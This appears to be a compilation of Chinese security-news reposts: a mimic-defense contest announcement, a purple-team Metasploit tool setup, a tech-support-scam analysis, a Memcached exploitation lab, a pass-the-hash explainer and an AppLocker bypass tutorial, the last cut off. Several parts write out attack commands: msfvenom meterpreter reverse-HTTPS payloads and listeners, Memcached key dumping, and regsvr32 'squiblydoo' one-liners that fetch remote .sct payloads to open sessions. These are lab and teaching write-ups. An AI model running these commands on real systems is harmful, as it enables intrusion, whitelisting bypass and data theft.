随着互联网时代的飞速发展,网络安全问题也变得尤为重要。从个人信息安全,到企业网络安全,再到国家网络安全问题,都变得日益显著。目前,网络空间安全态势处于“易攻难守”的状态,当前网络空间存在“未知的未知威胁”。

网络空间已成为国家继陆、海、空、天四个疆域之后的第五疆域,与其他疆域一样,网络空间也需体现国家主权,保障网络空间安全也就是保障国家主权。自主可控是保障网络安全、信息安全的前提。

2016年11月17日,我国中国工程院院士、国家数字交换系统工程技术研究中心主任邬江兴,在第三届世界互联网大会上发布了自主可控的科研成果—网络空间拟态防御理论。拟态防御是由我国首创、国际领先的主动防御创新理论技术体系,旨在网络空间营造一个与全球化时代技术创新和产业发展模式相适应,合作共赢与开源众创相融合,非封闭、自主可控、可持续发展的新兴生态环境。

在2018年的首届强网拟态防御国际精英挑战赛中,由多国顶尖“白帽黑客”组成的22支精英战队,对世界首套拟态防御网络设备和系统展开了50余万次全方位、高强度的攻击,无一次成功得手。

2019年,我们邀请近20个国家的三十支“白帽黑客”精英战队“组合”再次挑战拟态防御。第二届“强网”拟态防御国际精英挑战赛,由近30支国际精英战队同时在赛宁网安靶场平台上对拟态防御系统进行真实攻击,是国内唯一一个实战性比赛。

本届比赛将挑战目标环境扩增到拟态路由器、拟态防火墙、拟态域名服务器、拟态文件存储服务器、拟态Web服务器,借鉴拟态思想的Web虚拟主机,其中执行体包含存在典型或未知的安全漏洞。国内首次采用“黑盒+白盒”安全测试的方式进行。

第二届“强网”拟态防御国际精英挑战赛将于2019年5月22日至5月23日在南京举行。国际顶尖“白帽黑客”战队联合对拟态防御系统再次挑战,这场高质量的实战网络攻防赛必将万众瞩目。

PTAA:一款功能强大的紫队自动化渗透测试工具

为了评估安全检测与事件响应能力,我们正在尝试寻找一种自动化模拟对手攻击策略的方式。通过研究,我们设计出了MITRE ATT&CK™ TTPs,并以Metasploit Framework的模块形式呈现-post模块。目前,我们已经可以自动化模拟出超过100 种TTPs了。

Metasploit的优势就在于其稳定健壮且丰富的功能库,该框架所带的模块能够与操作系统API直接交互,而且灵活易于扩展。除此之外,我们还可以利用Metasploit的execute_powershell模块来模拟出类似.NET内存中执行之类的功能。这将允许蓝队确保他们的工具在检测到特定TTP行为时能够有效发出警报,并不会执行特定代码或操作。(例如已编码的PowerShell)

我们的工具基于最新版本的Metasploit开发(2019年4月9日版:【Metasploit下载地址】)。在实现自动化机制的过程中,我们尽可能地减少了对Metasploit框架源码的修改量,以此来保证用户能够体验到接近原生的Metasploit。

工具安装

C2服务器-注册并搭建一台云虚拟机设备:【GCP传送门】。

DNS-选择一个域名并在DNS中注册,推荐使用CloudFlare:【CloudFlare传送门】。

SSL-我们建议大家使用有效的SSL证书来进行测试操作,推荐使用LetsEncrypt:

exportDNS_NAME="mytestdomain.com"
wgethttps://dl.eff.org/certbot-auto
chmoda+x ./certbot-auto
./certbot-auto-q
./certbot-autocertonly -d $DNS_NAME --standalone --register-unsafely-without-email -n--agree-tos

Debian/Ubuntu

安装源:https://github.com/rapid7/metasploit-framework/tree/master/docker

安装docker:

curl-fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
apt-keyfingerprint 0EBFCD88
add-apt-repository\
   "deb [arch=amd64]https://download.docker.com/linux/debian jessie stable"
apt-get-y update
apt-get-y install docker-ce

获取项目源码:

git clone [email protected]:praetorian-inc/purple-team-attack-automation.git
cd purple-team-attack-automation

修改LHOST以及对外端口:

echo"version: '3'
services:
  ms:
    environment:
    # example of setting LHOST
      LHOST: 0.0.0.0
    # example of adding more ports
    ports:
      - 8080:8080
      - 443:443
      - 80:80
"> docker-compose.local.override.yml

设置COMPOSE_FILE环境变量,加载本地文件:

echo"COMPOSE_FILE=./docker-compose.yml:./docker-compose.override.yml:./docker-compose.local.override.yml">> .env

构建容器:

docker -composebuild

运行容器:

./docker/bin/msfconsole

修改metasploit目录权限:

chmod-R ugo+rw ~/.msf4
Payload
cd ~
curlhttps://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb> msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall
msfvenom-p windows/x64/meterpreter_reverse_https lhost=mytestdomain.com lport=443 -ax64 -f exe HandlerSSLCert=~/purple-team-attack-automation/MSF.pemStagerVerifySSLCert=true -o ~/attack-testing.exe

监听器

你可以使用样本资源脚本来开启监听器:

$echo '<ruby>
print_status("StartingHTTPS listener for Windows x64 meterpreter on port 443.")
run_single("useexploit/multi/handler")
run_single("setpayload windows/x64/meterpreter_reverse_https")
run_single("setlport 443")
run_single("setHandlerSSLCert MSF.pem")
run_single("setExitOnSession false")
run_single("setStagerVerifySSLCert true")
run_single("exploit-j")
</ruby>'> ~/purple-team-attack-automation/scripts/resource/windows_listener.rc

监听器开启后,payload将以管理员权限运行并发送回调信息。

使用模块

msf5auxiliary(scanner/smb/impacket/secretsdump) > resource windows_listener.rc
[*]Processing /usr/src/metasploit-framework/scripts/resource/windows_listener.rcfor ERB directives.
[*]resource (/usr/src/metasploit-framework/scripts/resource/windows_listener.rc)>Ruby Code (270 bytes)
[*]Starting HTTPS listener for Windows x64 meterpreter on port 443.
payload=> windows/x64/meterpreter_reverse_https
lport=> 443
lhost=> 0.0.0.0
[*]Exploit running as background job 0.
[*]Exploit completed, but no session was created.
msf5exploit(multi/handler) >
[*]Started HTTPS reverse handler on https://0.0.0.0:443
[*]https://0.0.0.0:443 handling request from 192.168.137.11; (UUID: czgdxj3z)Redirecting stageless connection from/2F-7ig9OfztlUGRSOeTJogLC1HD_4Yf2RGj-ZlWaPE6oCIdO_nvk_GC913H-gXl7lhXUXYcn withUA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*]https://0.0.0.0:443 handling request from 192.168.137.11; (UUID: czgdxj3z)Attaching orphaned/stageless session...
[*]Meterpreter session 1 opened (172.18.0.3:443 -> 192.168.137.11:52012) at2019-04-15 16:10:27 +0000
 
msf5post(windows/purple/t1005) > use post/windows/purple/t1028
msf5post(windows/purple/t1028) > info
 
       Name: Windows Remote Management (T1028)Windows - Purple Team
     Module: post/windows/purple/t1028
   Platform: Windows
       Arch:
       Rank: Normal
 
Providedby:
  Praetorian
 
Compatiblesession types:
  Meterpreter
 
Basicoptions:
  Name    Current Setting                                                      Required  Description
  ----    ---------------                                                      --------  -----------
  CLEANUP true                                                                 yes       Close any instances ofcalc
  CMD     winrm qc -q & winrm i c wmicimv2/[email protected]{CommandLine="calc"}  yes       Command to execute
  SESSION 1                                                                    yes       The session to run thismodule on.
 
Description:
  Execution, Lateral Movement: Windows RemoteManagement (WinRM) is
  the name of both a Windows service and aprotocol that allows a user
  to interact with a remote system (e.g., runan executable, modify
  the Registry, modify services). It may becalled with the winrm
  command or by any number of programs such asPowerShell.
 
References:
  CVE: Not available
  https://attack.mitre.org/wiki/Technique/T1028
 
msf5post(windows/purple/t1028) > exploit
 
[+]Found an instance of Calculator running. Killing it.
[*]Executing 'cmd /c winrm qc -q & winrm i c wmicimv2/[email protected]{CommandLine="calc"}' on #<Session:meterpreter192.168.137.11:52012 (10.0.2.15) "PURPLEDEV\Administrator @DESKTOP-1">
[!]WinRM service is already running on this machine.
WSManFault
    Message
        ProviderFault
            WSManFault
                Message = WinRM firewall exceptionwill not work since one of the network connection types on this machine is setto Public. Change the network connection type to either Domain or Private andtry again.
 
Errornumber:  -2144108183 0x80338169
WinRMfirewall exception will not work since one of the network connection types onthis machine is set to Public. Change the network connection type to eitherDomain or Private and try again.
create_OUTPUT
    ProcessId = 5456
    ReturnValue = 0
 
[+]Module T1028W execution successful.
[+]Found an instance of Calculator running. Killing it.
[+]Found an instance of Calculator running. Killing it.
[*]Post module execution completed
msf5post(windows/purple/t1028) >

* 参考来源:praetorian,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

研究人员近期发现一起新的技术支持垃圾邮件(technical support scam,TSS)活动,其中融合了基本弹窗认证和iframe来“冻结”用户的浏览器。因为该技术非常新颖,安全研究人员和产品并不熟悉,因此可能绕过检测。与其他TSS活动类似,恶意攻击活动将自己伪装成合法或知名品牌的服务提供商来引诱其受害者。本攻击活动中攻击者将自己伪装成微软的技术支持。

绕过技术

攻击活动中的URL是一个伪装成微软技术支持页的web页面。但该web页面隐藏了多种不同的函数。点击进入URL就会打开2个弹窗:一个要求进行用户认证,另外一个劝用户请求技术支持。然后用户就进入了一个循环。

点击认证弹窗的Cancel(取消)按钮就会返回到前面的URL。点击关闭或OK按钮并没有什么用,只是看着更新真实的技术支持页面而已。

图1. 攻击活动中使用的伪造的用于冻结浏览器的微软支持页面

创建类似的循环并尝试冻结浏览器是TSS攻击活动中常用的方法。攻击活动中的该方法是用来冻结用户浏览器的。TSS攻击活动中,网络犯罪分子一般都使用基本的JS代码alert()和confirm()将用户陷入循环中,因为点击任意弹窗按钮都回进入相同的弹窗。

本攻击活动中使用的是iframes,一种嵌入HTML文档的HTML文件。在web页面的showLogin上可以设置iframe,使其在URL进入时出现。Iframe的源码或内容是认证页面URL,就会将用户返回到该URL。

图2. 使用iframe的代码

图3. 循环中单独使用的useragent.php或authentication弹窗

这种技术就会将用户置于一个死循环中,不断地进入认证URL和弹窗中。TSS攻击活动就是利用冻结用户浏览器造成的恐慌使用户尽快采取应对措施,比如向页面上的技术支持电话求助,或按照伪造的技术支持页面中的建议进行响应动作。

这些URL还有一个特征就是可以根据浏览器的版本和类型显示不同的格式。具体的信息参见图4中的代码,攻击者使该攻击活动可以适应不同的浏览器。

图4.URL对不同浏览器展示不同格式的源代码

研究人员统计与该攻击活动相关的URL每天的最大访问量是575次,如表1所示。点击来自不同的URL,其他的绕过技术包括每12天修改一次IP地址等。目前还不能完全证明这些URL的传播方式,但根据之前TSS攻击活动的经验,都是通过广告来传播的。

图5. 与攻击活动相关的URL的点击量统计

总结

TSS攻击的成功率是基于用户如何应对这些攻击技术的。比如,在这起攻击活动中,用户可以发现web页面的可以之处,比如不熟悉的URL、弹窗要求认证、以及其他信息和消息。

用户需要注意的是有很多种方法可以恢复浏览器,比如用任务管理器关闭浏览器。如果还是担心设备和系统的安全性,还可以使用其他合法的方法来确认系统的状态。

之前的文章中,我向大家介绍了如何在Ubuntu 18.04上配置Memcached Server,来构建我们自己的渗透测试实验环境。而本文我们将学习多种利用Memcached Server的方法。

实验环境

目标:在Ubuntu 18.04上运行的Memcached Server

攻击者:Kali Linux

话不多说,那我们开始吧!

手动从 Memcached Server 转储数据

我们先来启动Kali Linux机器,并执行个简单的nmap扫描,以检查目标计算机是否存在正在运行的Memcached Server。

nmap -sV -p- 192.168.1.32

针对Memcached缓存服务器的渗透测试方法介绍

如上图所示,Memcached正在目标机器上运行,运行端口为11211。

现在,让我们通过键入以下命令使用nmap脚本命令进行一些高级搜索。

nmap -p11211 --script=memcached-info 192.168.1.32

针对Memcached缓存服务器的渗透测试方法介绍

如上图所示,nmap脚本命令向我们提取了一些关于Memcached Server的重要信息,例如进程ID,正常运行时间,架构,MAC地址等。

现在,让我们尝试使用telnet连接Memcached Server,输入以下命令。

telnet 192.168.1.32 11211

针对Memcached缓存服务器的渗透测试方法介绍

正如你在上图中看到的,我们可以通过telnet连接Memcached Server。在意味着服务器未受到任何的保护(未配置SASL或任何类型的防火墙),因此攻击者可以非常顺利的访问服务器。让我们进一步的利用已获取访问权限的Memcached Server。

键入以下命令检查Memcached Server的当前版本。

version

针对Memcached缓存服务器的渗透测试方法介绍

可以看到Memcached的版本为1.5.6,运行在Ubuntu机器上。

现在,让我们直接获取存储在服务器中的有价值数据。键入以下命令打印服务器所有常规统计信息。

stats

针对Memcached缓存服务器的渗透测试方法介绍

以上信息显示了当前的流量统计信息。包括连接数,数据被存储到缓存中,缓存命中率以及有关内存使用和信息分布的详细信息。

现在,我们将运行另一个命令来获取slab统计信息。命令如下:

stats slabs

针对Memcached缓存服务器的渗透测试方法介绍

如上图所示,目前服务器中只有一个编号为1的slab。

现在,让我们运行下面的命令来显示各个slab中item的数目和存储时长(最后一次访问距离现在的秒数)。

stats items

针对Memcached缓存服务器的渗透测试方法介绍

接着,我们运行下面的命令来转储特定slab中存在的所有键。

stats cachedump 1 0

这里1和0是参数,

1 = slab ID

0 = 要转储的键数,0表示转储存在的所有键。

针对Memcached缓存服务器的渗透测试方法介绍

上图代表ITEM <item_key> [<item_size> b; <expiration_timestamp> s]

现在,我们可以简单地使用get命令来获取存储在键中的值,如下所示。

get first 
get second
get third

针对Memcached缓存服务器的渗透测试方法介绍

正如你在上图中所看到的,我们已成功转储了存储在键值中的数据。

使用 libmemcached-tools 转储数据

首先在我们的系统中安装libmemcached-tools,键入以下命令。

apt install libmemcached-tools

针对Memcached缓存服务器的渗透测试方法介绍

现在我们已安装了libmemcached-tools,通过输入以下命令开始使用它。

memcstat --servers=192.168.1.33

针对Memcached缓存服务器的渗透测试方法介绍

以上命令将会为我们显示与之前stats命令几乎相同的结果。

现在,让我们直接转储存储在服务器中的键值。运行以下命令。

memcdump --servers=192.168.1.33

针对Memcached缓存服务器的渗透测试方法介绍

正如你在上图中看到的,我们已经转储了当前服务器中存在的所有键。

现在,让我们分别转储存储在键中的所有值。运行以下命令。

memccat --servers=192.168.1.33 fifth fourth third second first

针对Memcached缓存服务器的渗透测试方法介绍

以上命令为我们获取到了存储在各个键中的所有数据。攻击者可以使用libmemcached-tools轻松地将任何恶意文件上传到服务器。在这里,我们将向你展示如何在服务器中上传文件。

输入以下命令。

memccp --servers=192.168.1.33 file

针对Memcached缓存服务器的渗透测试方法介绍

这里,memccp命令正在上传一个名为“file.txt”的文件,该文件存在于我们系统的根目录中。现在,让我们使用memcat来查看该文件中的内容。

memcat --servers=192.168.1.33 file

针对Memcached缓存服务器的渗透测试方法介绍

使用 Metasploit 转储数据

启动Metasploit Framework并搜索Memcache。

search memcache

针对Memcached缓存服务器的渗透测试方法介绍

可以看到当前有4个可用的auxiliary模块。

这里我选择使用的是auxiliary/gather/memcached_extractor模块。运行下面给出的命令。

use auxiliary/gather/memcached_extractor

针对Memcached缓存服务器的渗透测试方法介绍

在Metasploit Framework中成功导入auxiliary后,只需设置rhost然后运行即可。上图显示auxiliary已提取了当前存在于Memcached服务器中的键值,并将其保存到了默认位置/root/.msf4/loot/20190218044841_default_192.168.1.35_memcached.dump_286171.txt。

使用 Watchers 监听

Watchers是一种连接到Memcached并监听内部执行的所有操作的方法。

现在,我们使用telnet连接到Memcached并输入以下命令。

watch fetchers

针对Memcached缓存服务器的渗透测试方法介绍

其中OK表示watcher已准备好发送日志。

针对Memcached缓存服务器的渗透测试方法介绍

正如你在上图中所看到的,服务器中正在执行的所有操作都会被实时的显示在这里。

总结

在本文中我们学习了简单利用Memcached server的方法。在之后的文章中,我将向大家展示更为高级的Memcached server的利用方法。

*参考来源:hackingarticles,FB小编secist编译,转载请注明来自FreeBuf.COM

高级域渗透技术之传递哈希已死-LocalAccountTokenFilterPolicy万岁

来源:https://posts.specterops.io/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy-506c25a7c167

大约三年前,我写了一篇名为"传递哈希已死: 长久的哈希传递方法介绍"的文章,详细阐述了微软 KB2871997补丁的一些操作含义。 在安全建议中有一句特别的话,"这个功能的改变包括: 防止网络登录和使用本地帐户远程交互登录到加入域的机器… …"使我相信(在过去3年中)补丁修改了 Windows 7和 Server 2008的行为,以防止通过非 rid 500的本地管理员帐户传递哈希的能力。 我的同事Lee Christensen最近指出,尽管微软的措辞如此,但这种说法实际上是不正确的,而且情况比我们最初认为的要微妙得多。 值得注意的是,pwnag3的开创性文章"微软刚刚发布的KB2871997和 KB2928120打破了什么?"也遭受了和我最初发表的文章一样的误解。

我们现在对这些话题有了更好的理解,并希望尽可能地澄清事实。 这是我对最终认识到 KB2871997在大多数情况下与阻止 Windows 企业使用 pass-the-hash"复杂化"毫无关系的道歉。 对于近3年来传播错误信息的道歉-我希望弥补我的过错:)一如既往,如果在这篇文章中有错误,请让我知道,我会更新!

澄清 KB2871997 补丁的误解

那么,如果这个补丁不能自动"防止网络登录和远程交互式登录到使用本地帐户加入域的机器",那它实际上做了什么呢? 正如 Aaron Margosis 所描述的,该补丁引入了两个新的安全标识符(sid) : S-1-5-113(NT AUTHORITY Local account)和 S-1-5-114(NT AUTHORITY Administrators 用户组的本地账户和成员)。 正如 微软官方的文章中详细介绍的那样,可以通过组策略使用这些 sid 来有效地阻止远程登录使用所有本地管理帐户。 请注意,虽然 KB2871997将这些 sid 反向移植到 Windows 7和 Server 2008 / 2012,但它们在 Windows 8.1和 Server 2012 R2 + 的操作系统中默认合并了。 这是Sean Metcalf 之前提到过的Araon在微软文章的评论中特别阐明了这一点

旁注: 幸运的是,这也意味着在域上经过身份验证的任何用户都可以枚举这些策略并查看哪些机器设置了这些限制。 我将在以后的文章中介绍如何执行这种类型的枚举和相关性。

我错误地认为,这个补丁修改了 Windows 7机器上的现有行为。 自从 Windows Vista 以来,攻击者一直无法将哈希传递给非内置的 RID 500 Administrator 的本地管理员帐户(在大多数情况下,请参阅下面给出的更多内容)。 在这里我们可以看到 KB2871997没有安装在基本的 Windows 7上:

Picture1.png

然而,使用本地管理员成员的非 rid 500的admin帐户执行 哈希传递攻击会失败:

Picture2.png

因此,这种行为甚至在 KB2871997发布之前就存在了。 造成这种混淆的部分原因是安全警告中使用的语言,但我对没有经过充分测试情况和转达正确的信息负有责任。 虽然我们强烈推荐 Aaron 的建议,即在这些新的 sid 中部署 gpo,以帮助缓解内网渗透,但我们仍然对保留了KB的原始标题的权利感到得意;)

Picture3.png

远程访问和用户帐户控制

那么,如果补丁不影响这种行为,那又是什么阻止了我们使用本地管理员帐户传递哈希呢? 为什么 RID 500帐户可以作为特殊情况运作? 此外,为什么作为本地管理员用户组成员的域帐户也不受这种阻止行为的影响? 此外,在过去的几年中,我们还注意到在一些约定,传递-哈希攻击仍然可以在非 rid 500的本地管理员帐户上工作,尽管补丁正在应用。 这种行为一直困扰着我们,但我们认为我们最终可以解释所有这些矛盾。

所有这些问题的真正罪魁祸首是远程访问上下文中的用户帐户控制(UAC)令牌过滤。 我一般总是在本地主机操作的上下文中会考虑 UAC,但是这对于远程情况也有各种各样的含义。 微软官方的"Windows Vista 应用程序开发对用户帐户控制兼容性的要求"文档中的"用户帐户控制和远程场景"部分以及"Windows Vista 中用户帐户控制和远程限制的描述"部分都多次解释了这种行为,并为我个人澄清了几点。

对于任何非 rid 500的本地管理员帐户远程连接到 Windows Vista+ 的计算机,无论是通过 WMI、 PSEXEC 还是其他方法,返回的令牌都是"已过滤的"(即中等完整性) ,即使用户是本地管理员。 由于没有方法可以远程升级到高完整性的上下文,除非通过 RDP (除非启用"受限管理"模式,否则需要明文密码) ,令牌才会保持中等完整性。 因此,当用户试图远程访问一个特权资源(例如 admin$)时,他们会收到一条"Access is Denied"消息,尽管从技术上讲他们确实拥有管理访问权限。 不过,我马上就会得到 RID 500的例外案例;)

对于本地"管理员"组中的本地用户帐户,"Windows Vista 用户帐户控制兼容性应用程序开发要求"文档描述了以下行为:

在 Windows Vista 计算机的本地安全帐户管理器(SAM)数据库中拥有管理员帐户的用户远程连接到 Windows Vista 计算机时,该用户在远程计算机上没有特权提升的潜力,不能执行管理任务。

微软官方发布的"描述 Windows Vista 中的用户帐户控制和远程限制"的文章中用另一种方式描述了这一点:

当目标远程计算机上的本地管理员用户组的成员的用户建立远程管理连接时… … 他们将不会以完全的管理员身份连接。 用户在远程计算机上没有特权提升潜力,并且用户无法执行管理任务。 如果用户希望使用安全帐户管理器(SAM)帐户管理工作站,则用户必须交互式地登录到要使用远程协助或远程桌面管理的计算机。

对于本地"管理员"用户组中的域用户帐户,文档中有如下声明:

当拥有域用户帐户的用户远程登录到 Windows Vista 计算机,并且该用户是 Administrators 用户组的成员时,域用户将使用远程计算机上的完全管理员访问令牌运行,并且远程计算机上的用户在该会话期间会禁用 UAC。

这就解释了为什么本地管理帐户在远程访问时会失败(除了通过 RDP) ,以及为什么域帐户却是成功的。 但是,为什么内置的500 RID 管理员帐户会作为一个特殊情况呢? 因为默认情况下,内置管理员帐户(即使重命名)使用了完全的管理特权("完全令牌模式")运行了所有的应用程序,这意味着用户帐户控制没有得到有效应用。 因此,当使用此帐户启动远程操作时,将授予完全高完整性(即未过滤的)的令牌,允许正确的管理访问!

只有一个例外——"管理批准模式"。 指定此选项的注册表键位于 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken,默认情况下是禁用的。 但是,如果启用此密钥,RID 500帐户(即使已重命名)将被注册为 UAC 保护。 这意味着使用该帐户的机器的远程 PTH 将会失败。 但是对于攻击者来说,还有一线希望——这个密钥通常是通过组策略设置的,这意味着任何经过域身份验证的用户都可以通过 GPO应用程序枚举机器所做的事情以及不设置 FilterAdministratorToken键值。 虽然这会忽略在标准"gold"镜像上设置键值的情况,但是从攻击者登陆的初始机器上执行这个键值枚举,结合 GPO 枚举,应该可以覆盖大多数情况。

请记住,尽管 Windows 默认禁用了内置的500 Administrator 帐户,但在企业中启用该帐户的情况仍然相当普遍。 我最初发表的关于 pass-the-hash 的文章涵盖了这些信息的基本远程枚举,这篇文章将进一步详细介绍这些信息。

LocalAccountTokenFilterPolicy

对于我们攻击者来说,还有一线希望,还有一些比我们最初意识到的更具防御意义的东西。 Jonathan Renard 在他的"*Puff* *Puff* PSExec"的文章中提到了其中一些东西(以及管理员批准模式) ,但是我想扩展一下关于整个 pass-the-hash 讨论的内容。

如果 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy 键存在(默认情况下不存在)并设置为了1,那么在协商期间,管理员用户组的所有本地成员的远程连接都被授予完全高完整性的令牌。 这意味着非 rid 500帐户连接不会被过滤,并且可以成功地传递哈希!

Picture4.png

Picture5.png

Picture6.png

那么为什么要设置这个注册表条目呢? 在谷歌上搜索这个关键名称会出现不同的情况。在我们现在所说的这种情况下,这是一种解决方案,但有一个常见的功能: Windows Remoting。 有大量的微软文档建议将 LocalAccountTokenFilterPolicy 设置为1,来作为解决各种问题的方法或解决方案:

· 不建议通过更改控制远程 UAC 的注册表项来禁用远程 UAC,但可能有必要..

· Set-ItemProperty –Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System –Name LocalAccountTokenFilterPolicy –Value 1 –Type DWord

· 用户帐户控制(UAC)会影响对 WinRM 服务的访问

· … 你可以使用 LocalAccountTokenFilterPolicy 注册表项来更改默认行为,并允许管理员用户组的成员的远程用户使用 Administrator 特权运行

· 如何禁用 UAC 远程限制

此外,我相信在某些情况下,WinRM 的quickconfig 命令甚至可以自动设置这个键,但是我不能可靠地重新创建这个场景。在微软的"从远程计算机获取数据"的文档中做了进一步的详细解释:

由于使用了用户帐户控制(UAC) ,远程帐户必须是域帐户和远程计算机 Administrators 用户组的成员。 如果帐户是 Administrators 用户组的本地计算机成员,则 UAC 不允许访问 WinRM 服务。 要访问工作组中的远程 WinRM 服务,必须通过创建以下 DWORD 注册表项并将其值设置为1来禁用针对本地帐户的 UAC 过滤: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System] LocalAccountTokenFilterPolicy。

这是个坏建议,坏坏坏坏坏透了的建议! 我意识到可能需要这个设置来帮助一些特定的 WinRM 部署场景,但是一旦 LocalAccountTokenFilterPolicy 被设置为1,那么就可以使用机器上的 任何(注意是任何!)本地管理员帐户来向目标传递-哈希。 我觉得大多数人,包括我自己,还没有意识到这个修改所隐含的实际安全含义。 我在所有的微软文档中看到的唯一真正的警告是"注意: LocalAccountTokenFilterPolicy 条目将禁用所有受影响的计算机的所有用户的用户帐户控制(UAC)远程限制。 在改变策略之前,要仔细考虑这种背景的影响。"。 由于这种设置会给企业环境带来巨大的风险,因此我希望从微软那里得到更好的明确指导和警告,而不仅仅是"考虑其影响",但是¯\_(ツ)_/¯

从操作角度来说(从攻击性的角度来看) ,最好检查一下你的跳板机器上是否将 LocalAccountTokenFilterPolicy 键设置为了1,因为同一子网或OU中的其他机器也可能具有相同的设置。 你还可以列举组策略设置,看看这个注册表键是否是通过 GPO 设置的,这也是我将在以后的文章中讨论的内容。 最后,你可以使用 PowerView 列举任何启用了 Windows Remoting 的 Windows 7和 Service 2008机器,希望它们运行的 Windows Remoting 没有正确设置:

Get-DomainComputer -LDAPFilter "(|(operatingsystem=*7*)(operatingsystem=*2008*))" -SPN "wsman*" -Properties dnshostname,serviceprincipalname,operatingsystem,distinguishedname | fl

Picture7.png

同样值得注意的是,微软的 LAPS 实际上让这里的一切都变得毫无意义。 由于 LAPS 定期为计算机随机设置本地管理员密码,所以传递哈希仍然可以有效地工作,但它极大地限制了恢复和重用本地密钥的能力。 这使得传统的 PTH 攻击(至少是本地账户)基本上变得无效。

在大型组织的安全领域中,AppLocker正在扮演越来越重要的角色。应用AppLocker规则可以显著降低企业的安全风险,AppLocker规则可以应用于目标应用,这些规则也是构成AppLocker策略的基本组件。

AppLocker规则介绍

规则集合(Rule Collection)

AppLocker控制台以规则集合作为组织单元,这些集合包括可执行文件、脚本、Windows安装文件、封装的应用和应用安装包以及DLL文件。这些规则可以让我们轻松区分开不同类型的应用。

规则条件(Rule Condition)

规则条件可以帮助AppLocker识别哪些应用对应哪些规则。三个主要的规则条件分别为应用发布者、路径以及文件哈希。

文件路径条件

以应用在系统中的路径作为识别依据;

文件发布者条件

以应用的属性或者数字签名作为识别依据;

文件哈希条件

以应用的哈希值作为识别依据;

看似这些强大的规则让黑客攻击无处遁形,但不幸的是,对于防御者来说,除了默认规则以外,AppLocker还涉及到许多自定义配置,而黑客正是利用这些配置作为突破口的。本文将介绍通过 regsrv32.exe绕过Applocker应用程序白名单的多种方法。

Regsvr32介绍

Regsvr32全称是Microsoft Register Server。它是windows的命令行实用工具。虽然regsvr32有时会引起一些莫名其妙的问题,但作为Windows系统文件,它仍是一个重要的文件。该文件位于C:\Windows的子文件夹中,该文件能够观察、跟踪和影响其他程序。由于它是.exe格式,所以主要被用于在Windows文件扩展名中注册和注销程序,它的进程可以广泛地协助OLE(对象链接和嵌入),DLL(数据链接库)和OCX(ActiveX控件模块)。上述流程在后台工作,可以通过任务管理器查看。终止,它是微软最受信任的文件之一。

regsvr32工作原理

当你在regsvr32中注册DLL文件时,与regsvr32关联的程序的信息将添加到Windows中。然后访问这些信息,以了解程序数据的位置以及如何与程序数据进行交互。在注册DLL文件时,信息会被添加到目录的中央,以便windows可以使用它。这些文件的整个路径都有可执行代码,由于这些文件,windows可以调用特定的函数。这些文件非常方便,当软件更新时,这些文件会自动调用更新后的版本。简而言之,它有助于避免软件的版本问题。通常,除了注册和注销DLL文件外,通常不使用此文件。

RegSvr32.exe具有以下命令行选项:

语法:Regsvr32 [/s][/u] [/n] [/i[:cmdline]] <dllname>

· /u:注销服务器;

· /i:调用DllInstall传递一个可选的[cmdline],当它与/u一起使用时,它会调用dll uninstall。

· /n:不要调用DllRegisterServer,此选项必须与/i一起使用

· / s :沉默,不显示消息框;

要了解更多信息,请访问这里

Web传递(Web Delivery) 

此模块会快速启动一个提供有效载荷的web服务器,所提供的命令将允许下载和执行有效载荷。它将通过指定的脚本语言解释器或通过regsvr32.exe的“squiblydoo”来绕过应用程序白名单。该模块的主要目的是当攻击者不得不手动输入命令时,在目标设备上快速建立会话,例如命令注入。

Regsvr32使用“squiblydoo”技术来绕过应用程序白名单,签名的Microsoft二进制文件Regsvr32能够请求.sct文件,然后在其中执行包含的PowerShell命令。两个web请求(即, .sct文件和PowerShell下载或执行)都可以发生在同一个端口上。PSH(Binary)”会将文件写入磁盘,允许自定义二进制文件被下载或执行。

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit

一旦使用这些文本开始运行漏洞,你将拥有一个为自定义的URL,就可以在受害者电脑的命令提示符中运行该URL。

regsvr32 /s /n /u /i://192.168.1.109:8080/xo31Jt5dIF.sct scrobj.dll

在命令执行后按回车键,就将进行会话。输入“sysinfo”以获取目标电脑的信息。

PowerShell Empire

Empire是一款类似Metasploit的渗透测试框架,基于python编写,Empire是一个纯粹的PowerShell后开发代理,建立在密码安全通信和灵活的架构上。Empire实现了无需powershell.exe即可运行PowerShell代理的功能,从键盘记录器到Mimikatz等快速部署的后期开发模块,以及适应性通信以避开网络检测,所有这些都包含在以可用性为重点的框架中。

在PowerShell Empire方法中,我们必须将.sct tacks与Metasploit配对,但是在这种方法中,我们将使用Empire框架。它完全基于python的PowerShell windows代理,这使得它非常有用。

如下所示,启动Empire框架后,输入listener命令,以检查是否存在反侦查进程。

uselistner http
set Host //192.168.1.109
execute

使用上述命令,你将拥有一个反侦查进程。输入back命令,就可以退出反侦查进程,以便启动PowerShell。

一旦你退出listener命令,就需要使用一个漏洞来创建恶意文件。在Empire中,stage代表一段代码,它允许我们的恶意代码通过受感染的主机上的代理运行。这意味着要创建一个漏洞,我们将不得不通过usestager。命令如下:

usestager windows/launcher_sct
set listener http
execute

执行命令后,usestager将在/ tmp中创建一个launcher.sct。现在要获得会话,就必须通过输入以下内容来启动python服务器:

python -m SimpleHTTPServer 8080

当服务器启动时,剩下的唯一步骤就是在受害者的电脑中执行我们的恶意软件。此时,就要在命令提示符中输入以下命令:

regsvr / s / n / u /i://192.168.1.109:8080/tmp/launcher.sct scrobj.dll

在上面的命令中,我们使用了端口8080,这是因为我们的python服务器在同一个端口上被激活。

执行上述操作后,你将收到一个会话:

interact 9ATUX4M7

9ATUX4M7只是一个代理或会话名称,这将因会话内容而异。

在sct文件中注入PowerShell代码(手动方法)

